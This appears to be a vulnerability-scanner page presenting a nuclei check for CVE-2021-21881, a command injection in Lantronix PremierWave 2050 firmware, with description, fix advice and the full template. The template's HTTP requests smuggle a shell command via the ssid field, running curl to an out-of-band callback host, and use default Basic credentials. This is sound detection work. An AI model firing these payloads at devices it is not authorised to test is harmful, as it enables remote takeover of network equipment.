Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection

criticalseverity

9.9CVSS score

36.9%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or complete compromise of the affected device.

Fix

Apply the latest firmware update provided by Lantronix to mitigate the vulnerability.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: {{useragent}}"

Run it with nuclei: nuclei -id CVE-2021-21881 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21881

info:
  name: Lantronix PremierWave 2050 8.9.0.0R4 - Remote Command Injection
  author: gy741
  severity: critical
  description: Lantronix PremierWave 2050 8.9.0.0R4 contains an OS command injection vulnerability. A specially-crafted HTTP request can lead to command in the Web Manager Wireless Network Scanner. An attacker can make an authenticated HTTP request to trigger this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or complete compromise of the affected device.
  remediation: |
    Apply the latest firmware update provided by Lantronix to mitigate the vulnerability.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1325
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21881
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-21881
    cwe-id: CWE-78
    epss-score: 0.36935
    epss-percentile: 0.98525
    cpe: cpe:2.3:o:lantronix:premierwave_2050_firmware:8.9.0.0:r4:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: lantronix
    product: premierwave_2050_firmware
  tags: cve2021,cve,lantronix,rce,oast,cisco,vkev,vuln
variables:
  useragent: '{{rand_base(6)}}'

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic dXNlcjp1c2Vy
        Content-Type: application/x-www-form-urlencoded

        ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}' #
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46UEFTUw==
        Content-Type: application/x-www-form-urlencoded

        ajax=WLANScanSSID&iehack=&Scan=Scan&netnumber=1&2=link&3=3&ssid="'; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: {{useragent}}"

References

Use this check only on systems you are authorised to test. Where the data comes from